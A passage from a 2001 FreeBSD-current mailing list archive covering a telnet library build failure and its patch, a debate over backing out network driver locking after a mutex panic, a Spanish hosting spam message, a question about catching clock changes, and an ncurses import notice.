nbuf[NBUFSIZ]; for (;;) { - (void)printf("login: "); + (void)printf(prompt); for (p = nbuf; (ch = getchar()) != '\n'; ) { if (ch == EOF) { badlogin(username); --------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 18:46:22 2001 Delivered-To: freebsd-current@freebsd.org Received: from c1030098-a.wtrlo1.ia.home.com (c1030098-a.wtrlo1.ia.home.com [24.6.200.230]) by hub.freebsd.org (Postfix) with ESMTP id 3980C37B422 for ; Wed, 16 May 2001 18:46:20 -0700 (PDT) (envelope-from mdharnois@home.com) Received: by c1030098-a.wtrlo1.ia.home.com (Postfix, from userid 1001) id 1AABD14A08; Wed, 16 May 2001 20:47:06 -0500 (CDT) To: freebsd-current@freebsd.org Subject: world broken yet again Keywords: libtelnet,usr,src,secure,lib,telnet,crypto,function From: Michael Harnois Date: 16 May 2001 20:47:05 -0500 Message-ID: <86vgn0px0m.fsf@mharnois.workgroup.net> Lines: 22 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG cc -O2 -fno-strength-reduce -pipe -march=pentiumpro -DHAS_CGETENT -DENCRYPTION -DDES_ENCRYPTION -DAUTHENTICATION -DSRA -I/usr/src/secure/lib/libtelnet/../../../crypto/telnet -I/usr/obj/usr/src/i386/usr/include -c /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c -o pk.o /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `getseed': /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: `i' undeclared (first use in this function) /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: (Each undeclared identifier is reported only once /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: for each function it appears in.) /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `pk_encode': /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:235: warning: passing arg 1 of `des_cbc_encrypt' from incompatible pointer type /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:235: warning: passing arg 2 of `des_cbc_encrypt' from incompatible pointer type /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `pk_decode': /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:272: warning: passing arg 1 of `des_cbc_encrypt' from incompatible pointer type /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:272: warning: passing arg 2 of `des_cbc_encrypt' from incompatible pointer type *** Error code 1 Stop in /usr/src/secure/lib/libtelnet. *** Error code 1 -- Michael D. Harnois mdharnois@home.com Redeemer Lutheran Church Washburn, Iowa "Believe those who are seeking the truth. Doubt those who find it." -- Andre Gide To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 20:17:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from wint.itfs.nsk.su (wint.itfs.nsk.su [212.20.32.43]) by hub.freebsd.org (Postfix) with ESMTP id C1C2537B424 for ; Wed, 16 May 2001 20:17:13 -0700 (PDT) (envelope-from nnd@wint.itfs.nsk.su) Received: (from nnd@localhost) by wint.itfs.nsk.su (8.11.3/8.11.3) id f4H3HBj04754; Thu, 17 May 2001 10:17:11 +0700 (NOVST) (envelope-from nnd) Date: Thu, 17 May 2001 10:17:11 +0700 (NOVST) Message-Id: <200105170317.f4H3HBj04754@wint.itfs.nsk.su> From: nnd@mail.nsk.ru To: current@freebsd.org Subject: Re: world broken yet again In-Reply-To: <86vgn0px0m.fsf@mharnois.workgroup.net> User-Agent: tin/1.5.9-20010506 ("Blue Water") (UNIX) (FreeBSD/5.0-CURRENT (i386)) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <86vgn0px0m.fsf@mharnois.workgroup.net> Michael Harnois wrote: > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `getseed': > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: `i' undeclared (first use in this function) > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: (Each undeclared identifier is reported only once > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:146: for each function it appears in.) > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `pk_encode': > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:235: warning: passing arg 1 of `des_cbc_encrypt' from incompatible pointer type > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:235: warning: passing arg 2 of `des_cbc_encrypt' from incompatible pointer type > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c: In function `pk_decode': > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:272: warning: passing arg 1 of `des_cbc_encrypt' from incompatible pointer type > /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c:272: warning: passing arg 2 of `des_cbc_encrypt' from incompatible pointer type > *** Error code 1 > > Stop in /usr/src/secure/lib/libtelnet. > *** Error code 1 > At least the 'i undeclared' error can be corrected by the next patch: Index: src/crypto/telnet/libtelnet/pk.c =================================================================== RCS file: /scratch/CVS/src/crypto/telnet/libtelnet/pk.c,v retrieving revision 1.4 diff -b -u -r1.4 pk.c --- src/crypto/telnet/libtelnet/pk.c 2001/05/16 18:32:46 1.4 +++ src/crypto/telnet/libtelnet/pk.c 2001/05/17 03:10:50 @@ -142,6 +142,7 @@ seed[i] = (lrand48() & 0xff); } #else + int i; srandomdev(); for (i = 0; i < seedsize; i++) { seed[i] = random() & 0xff; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 20:36:32 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 41AEF37B422; Wed, 16 May 2001 20:36:27 -0700 (PDT) (envelope-from peter@wemm.org) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f4H3aRM57804; Wed, 16 May 2001 20:36:27 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id D33BC3811; Wed, 16 May 2001 20:36:26 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: John Baldwin Cc: Matthew Jacob , current@FreeBSD.ORG, Bob Bishop Subject: Re: panic: sleeping process owns a mutex In-Reply-To: Date: Wed, 16 May 2001 20:36:26 -0700 From: Peter Wemm Message-Id: <20010517033626.D33BC3811@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Baldwin wrote: > > On 16-May-01 Matthew Jacob wrote: > > > > Oh, I'd like you to think twice about this. Massive amounts of driver > > rototilling should be avoided at this point. > > Well, it's causing panics in some cases. Those are bad. Basically I would b e > reverting earlier changes. For most of the drivers it is farly low impact. Simply replace things like this: #define FOO_LOCK(sc) mtx_lock(sc->sc_mtx); #define FOO_UNLOCK(sc) mtx_unlock(sc->sc_mtx); with: #if 0 #define FOO_LOCK(sc) mtx_lock(sc->sc_mtx); #define FOO_UNLOCK(sc) mtx_unlock(sc->sc_mtx); #else #define FOO_LOCK(sc) #define FOO_UNLOCK(sc) #endif That should at least discourage more cut/paste of the same broken locking logic into new drivers. > > On Wed, 16 May 2001, John Baldwin wrote: > > > >> > >> On 16-May-01 Bob Bishop wrote: > >> > Hi, > >> > > >> > This while building world, with a kernel cvsup at Fri Apr 27 04:06:40 BS T > >> > 2001 > >> > > >> > kern/kern_synch.c:386 sleeping with "vr0" locked from pci/if_vr.c:1315 > >> > > >> > abridged backtrace: > >> > > >> > panic() > >> > propagate_priority() > >> > _mtx_lock_sleep() > >> > vr_intr() > >> > ithread_loop() > >> > fork_exit() > >> > fork_trampoline() > >> > >> Well, I think the best thing to do for now will be to back out all the > >> ethernet > >> driver locking until we figure out how we are actually going to lock them. > >> The original locks that went in starting with fxp many months ago weren't > >> quite > >> right but have been mostly harmless up to this point. There are some cas es > >> where we sleep with locks however, which can lead to problems. > >> > >> -- > >> > >> John Baldwin -- http://www.FreeBSD.org/~jhb/ > >> PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > >> "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > >> > >> To Unsubscribe: send mail to majordomo@FreeBSD.org > >> with "unsubscribe freebsd-current" in the body of the message > >> > > > > -- > > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 23:53:39 2001 Delivered-To: freebsd-current@freebsd.org Received: from eniac.cable.net.co (eniac.cable.net.co [196.27.25.66]) by hub.freebsd.org (Postfix) with ESMTP id 649A237B423 for ; Wed, 16 May 2001 23:53:22 -0700 (PDT) (envelope-from servicios@digitecnia.com) Received: from localhost ([209.88.49.106]) by eniac.cable.net.co (Post.Office MTA v3.5.3 release 223 ID# 637-71558U30000L25000S0V35) with ESMTP id co for ; Thu, 17 May 2001 01:58:24 -0500 X-Sender: servicios@digitecnia.com From: digitecnia.com To: freebsd-current@freebsd.org Date: Thu, 17 May 2001 01:53:39 -0500 Subject: Su negocio esta al aire?... o en el aire? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001__38115859_6819,98" Message-Id: <20010517065322.649A237B423@hub.freebsd.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a Multipart MIME message. ------=_NextPart_000_001__38115859_6819,98 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit ------=_NextPart_000_001__38115859_6819,98 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: base64 PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5XRUJQQUNLIERJR0lURUNOSUE8L3RpdGxlPg0KPG1l dGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJz ZXQ9aXNvLTg4NTktMSI+DQo8U1RZTEU+DQo8IS0tDQphOmxpbmsgeyB0ZXh0LWRlY29yYXRp b24gOiBub25lOyBjb2xvciA6IHdoaXRlOyB9DQphOnZpc2l0ZWQgeyB0ZXh0LWRlY29yYXRp b24gOiBub25lOyBjb2xvciA6IHdoaXRlOyB9DQphOmFjdGl2ZSB7IHRleHQtZGVjb3JhdGlv biA6IG5vbmU7IGNvbG9yIDogI0ZGMDAwMDsgfQ0KYTpob3ZlciB7IHRleHQtZGVjb3JhdGlv biA6IG5vbmU7IGNvbG9yIDogI0ZGMDAwMDsgfQ0KLS0+DQo8L1NUWUxFPg0KPC9oZWFkPg0K DQo8Ym9keSA8Ym9keSBzdHlsZT0iZm9udC1mYW1pbHk6IFZlcmRhbmE7IGZvbnQtc2l6ZTog MTAgcHQiIGJnY29sb3I9IiNmZmZmZmYiIHRleHQ9IiMwMDAwMDAiIGxpbms9IiMwMDAwOTki IHZsaW5rPSIjQ0NDQ0ZGIiBhbGluaz0iI0NDQ0NGRiINCiA+DQoNCjxwIGFsaWduPSJjZW50 ZXIiPg0KPGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cDovL3d3dy5kaWdpdGVjbmlhLmNvbS9p bWFnZXMvMWEuZ2lmIiB3aWR0aD0iNDY4IiBoZWlnaHQ9IjYwIj48L3A+DQoNCjxwIGFsaWdu PSJjZW50ZXIiPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cuZGlnaXRlY25pYS5j b20vaW1hZ2VzL3dlYnBhY2tfMDEuZ2lmIiB3aWR0aD0iMTYwIiBoZWlnaHQ9IjQwIj48L3A+ DQo8cCBhbGlnbj0ibGVmdCI+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiMwMDY2RkYiPkVsIDxp PldFQlBBQ0s8L2k+Jm5ic3A7IGVzIHVuYSANCnNvbHVjafNuIGludGVncmFsIGNvbXB1ZXN0 YSBwb3IgbG9zIHNlcnZpY2lvcyBi4XNpY29zIG5lY2VzYXJpb3MgcGFyYSB0ZW5lciB1biAN CnNpdGlvIGVuIEludGVybmV0IGRlIHVuYSBmb3JtYSBy4XBpZGEsIGVjb27zbWljYSB5IHBy b2Zlc2lvbmFsLCBlc3RhIGNvbXB1ZXN0byANCnBvcjo8L2ZvbnQ+PC9wPg0KPHAgYWxpZ249 ImxlZnQiPjxmb250IGNvbG9yPSIjMDA2NkZGIj48Yj5Ob21icmUgZGUgRG9taW5pbzwvYj48 L2ZvbnQ+IFJlZ2lzdHJvIA0KcG9yIDEgYfFvJm5ic3A7IC0tIDxmb250IGNvbG9yPSIjRkZG RkZGIj4gPGEgaHJlZj0iaHR0cDovL3d3dy5zdS1lbXByZXNhLmNvbSI+DQo8Zm9udCBjb2xv cj0iIzAwMDAwMCI+d3d3LnN1LWVtcHJlc2EuY29tPC9mb250PjwvYT48L2ZvbnQ+IC0tPC9w Pg0KPHAgYWxpZ249ImxlZnQiPjxmb250IGNvbG9yPSIjMDA2NkZGIj48Yj5EaXNl8W8gV2Vi PC9iPjwvZm9udD4gDQpQb3J0YWRhIGluaWNpYWwsIDUgcGFnaW5hcyBhZGljaW9uYWxlcywg bG9nb3RpcG8geSAyIEZvcm11bGFyaW9zPC9wPg0KPHAgYWxpZ249ImxlZnQiPjxmb250IGNv bG9yPSIjMDA2NkZGIj48Yj5Ib3N0aW5nIFdlYjwvYj48L2ZvbnQ+IDEgYfFvIGRlIHNlcnZp Y2lvIGluY2x1aWRvLCBjb24gMjAgTUIgZGUgZXNwYWNpbzwvcD4NCjxwIGFsaWduPSJsZWZ0 Ij48Zm9udCBjb2xvcj0iIzAwNjZGRiI+PGI+NSBCdXpvbmVzIGRlIENvcnJlbyBFbGVjdHLz bmljbzwvYj48L2ZvbnQ+PC9wPg0KPGZvbnQgY29sb3I9IiNGRkZGMDAiPg0KPHAgYWxpZ249 ImxlZnQiPjwvZm9udD48Yj48Zm9udCBjb2xvcj0iIzAwNjZGRiI+VmFsb3I8L2ZvbnQ+IDQ5 MCBE82xhcmVzPC9iPjwvcD4NCjxwIGFsaWduPSJsZWZ0Ij4mbmJzcDs8L3A+DQo8cCBhbGln bj0iY2VudGVyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+QWRpY2lvbmVzIGFsIFdFQlBB Q0s6PC9iPjwvZm9udD48L3A+DQo8cCBhbGlnbj0ibGVmdCI+PGZvbnQgY29sb3I9IiNGRjAw MDAiPjxiPk51ZXZvISANClBsdWcgQ29tZXJjaWFsIDwvYj48L2ZvbnQ+Q29uc2lzdGUgZW4g dW4gcGFxdWV0ZSANCmFkaWNpb25hbCwgcXVlIHBlcm1pdGUgbGEgaW1wbGVtZW50YWNp824g ZGUgY29tZXJjaW8gZWxlY3Ry825pY28gZW4gc3Ugc2l0aW8gDQpXZWIuIEVzdGEgY29tcHVl c3RvIHBvciBlbCBzaXN0ZW1hIGRlIGNhdGFsb2dvIGVuIGztbmVhLCBjYXJyaXRvIGRlIGNv bXByYXMsIA0KbW9kdWxvIGRlIGFkbWluaXN0cmFjafNuIHkgdW4gY3Vyc28gdmlydHVhbCBk ZSBjb21lcmNpbyBlbGVjdHLzbmljby4gMSBh8W8gZGUgDQpzZXJ2aWNpbyBpbmNsdWlkby4g PGZvbnQgY29sb3I9IiNGRjAwMDAiPlZhbG9yIDIxMCBE82xhcmVzPC9mb250PjwvcD4NCjxw IGFsaWduPSJsZWZ0Ij48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RGlzZfFvIGRlIFBhZ2luYSBh ZGljaW9uYWw6PC9mb250PiAzMCBE82xhcmVzIGMvdTwvcD4NCjxwIGFsaWduPSJsZWZ0Ij48 Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Rm9ybXVsYXJpbyBjb24gZW52aW8gZGUgcmVzdWx0YWRv cyBhIHVuIA0KZW1haWw6PC9mb250PiAyNSBE82xhcmVzIGMvdTwvcD4NCjxwIGFsaWduPSJs ZWZ0Ij4mbmJzcDs8L3A+DQo8cCBhbGlnbj0ibGVmdCI+PGZvbnQgY29sb3I9IiMwMDY2RkYi PlNpIGVzdGEgaW50ZXJlc2FkbyBlbiBlbCBXRUJQQUNLLCBwb3IgDQpmYXZvciBsbGVuZSBl bCBzaWd1aWVudGUgZm9ybXVsYXJpbzo8L2ZvbnQ+PC9wPg0KDQogICAgICAgICAgPEZPUk0g YWN0aW9uPWh0dHA6Ly82My4xNjYuMTE3LjQxL3NlbmRtYWlsLmNmbSBtZXRob2Q9cG9zdD4N CiAgICAgICAgICAgIDxJTlBVVCANCiAgICAgIG5hbWU9ZW1haWx0byB0eXBlPWhpZGRlbiB2 YWx1ZT12ZW50YXNAZGlnaXRlY25pYS5jb20+DQogICAgICAgICAgICA8SU5QVVQgbmFtZT1l bWFpbGZyb20gDQogICAgICB0eXBlPWhpZGRlbiB2YWx1ZT13ZWJwYWNrPg0KICAgICAgICAg ICAgPElOUFVUIG5hbWU9ZW1haWxzdWJqZWN0IHR5cGU9aGlkZGVuIA0KICAgICAgdmFsdWU9 d2VicGFjaz4NCiAgICAgICAgICAgIDxJTlBVVCBuYW1lPWVtYWlsY29uZmlybSB0eXBlPWhp ZGRlbiANCiAgICAgIHZhbHVlPWh0dHA6Ly93d3cuZGlnaXRlY25pYS5jb20vY29uZmlybWFj aW9uLmh0bT4NCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2lu Zz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIj MTExMTExIiB3aWR0aD0iMTAwJSIgaWQ9IkF1dG9OdW1iZXIxIj4NCiAgICA8dHI+DQogICAg ICA8dGQgd2lkdGg9IjE2JSI+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiMwMDY2RkYiPk5vbWJy ZTwvZm9udD48L3RkPg0KICAgICAgPHRkIHdpZHRoPSI4NCUiPjxpbnB1dCB0eXBlPSJ0ZXh0 IiBuYW1lPSJub21icmUiIHNpemU9IjIwIj48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0K ICAgICAgPHRkIHdpZHRoPSIxNiUiPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDA2NkZGIj5F bXByZXNhPC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lkdGg9Ijg0JSI+PGlucHV0IHR5cGU9 InRleHQiIG5hbWU9ImVtcHJlc2EiIHNpemU9IjIwIj48L3RkPg0KICAgIDwvdHI+DQogICAg PHRyPg0KICAgICAgPHRkIHdpZHRoPSIxNiUiPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDA2 NkZGIj5DaXVkYWQ8L2ZvbnQ+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iODQlIj48aW5wdXQg dHlwZT0idGV4dCIgbmFtZT0iY2l1ZGFkIiBzaXplPSIyMCI+PC90ZD4NCiAgICA8L3RyPg0K ICAgIDx0cj4NCiAgICAgIDx0ZCB3aWR0aD0iMTYlIj48Zm9udCBzaXplPSIyIiBjb2xvcj0i IzAwNjZGRiI+UGHtczwvZm9udD48L3RkPg0KICAgICAgPHRkIHdpZHRoPSI4NCUiPjxpbnB1 dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYWlzIiBzaXplPSIyMCI+PC90ZD4NCiAgICA8L3RyPg0K ICAgIDx0cj4NCiAgICAgIDx0ZCB3aWR0aD0iMTYlIj48Zm9udCBzaXplPSIyIiBjb2xvcj0i IzAwNjZGRiI+RGlyZWNjafNuPC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lkdGg9Ijg0JSI+ PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjY2lvbiIgc2l6ZT0iMjAiPjwvdGQ+DQog ICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9IjE2JSI+PGZvbnQgc2l6ZT0i MiIgY29sb3I9IiMwMDY2RkYiPlRlbOlmb25vPC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lk dGg9Ijg0JSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlbGVmb25vIiBzaXplPSIyMCI+ PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgIDx0ZCB3aWR0aD0iMTYlIj48Zm9u dCBzaXplPSIyIiBjb2xvcj0iIzAwNjZGRiI+ZW1haWw8L2ZvbnQ+PC90ZD4NCiAgICAgIDx0 ZCB3aWR0aD0iODQlIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW1haWwiIHNpemU9IjIw Ij48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgPHRkIHdpZHRoPSIxNiUiPiZu YnNwOzwvdGQ+DQogICAgICA8dGQgd2lkdGg9Ijg0JSI+PGZvbnQgY29sb3I9IiMwMDY2RkYi Pg0KICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ3ZWJwYWNrIiB2YWx1ZT0i T04iPjwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzAwNjZGRiI+V0VCUEFDSzwvZm9u dD48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgPHRkIHdpZHRoPSIxNiUiPiZu YnNwOzwvdGQ+DQogICAgICA8dGQgd2lkdGg9Ijg0JSI+PGZvbnQgY29sb3I9IiMwMDY2RkYi Pg0KICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ3ZWJwYWNrcGx1Z2NvbWVy Y2lhbCIgdmFsdWU9Ik9OIj48L2ZvbnQ+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiMwMDY2RkYi PldFQlBBQ0sgDQogICAgICArIFBsdWcgQ29tZXJjaWFsPC9mb250PjwvdGQ+DQogICAgPC90 cj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9IjE2JSI+DQogIDxpbnB1dCB0eXBlPSJz dWJtaXQiIHZhbHVlPSJPSyIgbmFtZT0iQjEiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxwPjwv cD4NCiAgPHA+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iODQlIj4NCiAgICAgIDxibG9ja3F1 b3RlPg0KJm5ic3A7PHA+PGZvbnQgc2l6ZT0iMiI+Tm90YTogRXMgcG9zaWJsZSBxdWUgZXN0 ZSBmb3JtdWxhcmlvIG5vIGZ1bmNpb25lIGNvcnJlY3RhbWVudGUgDQplbiBhbGd1bm9zIHBy b2dyYW1hcyBkZSBjb3JyZW8gDQogICAgICBlbGVjdHLzbmljby4gUHVlZGUgY29tcGxldGFy bG8gZW4gbO1uZWEgZW46IGh0dHA6Ly93d3cuZGlnaXRlY25pYS5jb20vd2VicGFjay5odG0g PC9mb250PjwvcD4NCiAgICAgIDwvYmxvY2txdW90ZT4NCiAgICAgIDwvdGQ+DQogICAgPC90 cj4NCiAgPC90YWJsZT4NCiAgPHAgYWxpZ249ImNlbnRlciI+DQogICAgICAgICAgICA8L3A+ DQo8L2Zvcm0+DQo8cCBhbGlnbj0ibGVmdCI+PGI+byBjb250YWN0YXJzZSBhIDogdmVudGFz QGRpZ2l0ZWNuaWEuY29tPC9iPjwvcD4NCg0KPHAgYWxpZ249ImxlZnQiPiZuYnNwOzwvcD4N Cg0KPHAgYWxpZ249ImNlbnRlciI+d3d3LmRpZ2l0ZWNuaWEuY29tPC9wPg0KPHAgYWxpZ249 ImNlbnRlciI+PGZvbnQgc2l6ZT0iMSI+U0kgTk8gREVTRUEgUkVDSUJJUiBPRkVSVEFTIERF IERJR0lURUNOSUEsIA0KQ09OVEVTVEUgRVNURSBFTUFJTCBDT04gTEEgUEFMQUJSQSBSRU1P VkVSIENPTU8gQVNVTlRPLjwvZm9udD48L3A+DQoNCjwvYm9keT4NCjwvaHRtbD4= ------=_NextPart_000_001__38115859_6819,98-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 0:22:54 2001 Delivered-To: freebsd-current@freebsd.org Received: from hunkular.glarp.com (hunkular.glarp.com [199.117.25.251]) by hub.freebsd.org (Postfix) with ESMTP id 4133837B422 for ; Thu, 17 May 2001 00:22:52 -0700 (PDT) (envelope-from huntting@hunkular.glarp.com) Received: from hunkular.glarp.com (localhost [127.0.0.1]) by hunkular.glarp.com (8.11.3/8.11.3) with ESMTP id f4H7MmR27336 for ; Thu, 17 May 2001 01:22:48 -0600 (MDT) (envelope-from huntting@hunkular.glarp.com) Message-Id: <200105170722.f4H7MmR27336@hunkular.glarp.com> To: current@FreeBSD.ORG Subject: catching abrupt time changes Date: Thu, 17 May 2001 01:22:48 -0600 From: Brad Huntting Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Suppose I'm a (root) process: I have an appointment in exactly one hour. I call select() and specify a timeout of 3600 seconds, trusting that the system will wake me up just in time. But unbeknownst to me someone sets the clock back 10 minutes while I'm asleep (using settimeofday(), not adjtime()). When select() returns I find that I'm 10 minutes late! My question is: How can I arrange to be notified when someone and makes a corse change to the system clock? One idea I had was to generate a klog message for each call to settimeofday(). This would put the information in syslog, and I could simply add /dev/klog to the list of file descriptors in it's select() call (there will be lots of false alarms, but that's probably not a problem for this application). Another idea was to add a new minor device to klog that just logs calls to settimeofday(). Could this be generalized? Alternately such a device file could be put in /proc (smells like a Linux solution). Or perhaps I could select() for "read" or "err" conditions on /kern/time (from kernfs). Any thoughts? brad P.S. The application in question is a new schedular for cron/at that can sleep between jobs. This would seem to be a good first step toward better laptop power management. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 1:21:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 89AF537B423 for ; Thu, 17 May 2001 01:21:38 -0700 (PDT) (envelope-from peter@wemm.org) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f4H8LcM58706 for ; Thu, 17 May 2001 01:21:38 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 593713811 for ; Thu, 17 May 2001 01:21:38 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: current@freebsd.org Subject: HEADS UP; new ncurses! Date: Thu, 17 May 2001 01:21:38 -0700 From: Peter Wemm Message-Id: <20010517082138.593713811@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Import in progress. This will take a little while to complete, so any cvsups right at the wrong time (ie: in the next hour or so) will not survive a make world. I need to make some changes to the Makefiles. Once that is done, it should be ok. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 1:42:52 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 0F9E237B423 for ; Thu, 17 May 2001 01:42:50 -0700 (PDT) (envelope-from peter@wemm.org) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f4H8gnM58801 for ; Thu, 17 May 2001 01:42:49 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id D8411380E for ; Thu, 17 May 2001 01:42:49 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: current@FreeBSD.ORG Subject: Re: HEADS UP; new ncurses! In-Reply-To: <20010517082138.593713811@overcee.netplex.com.au> Date: Thu, 17 May 2001 01:42:49 -0700 From: Peter Wemm Message-Id: <20010517084249.D8411380E@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Wemm wrote: > Import in progress. This will take a little while to complete, so any > cvsups right at the wrong time (ie: in the next hour or so) will not > survive a make world. I need to make some changes to the 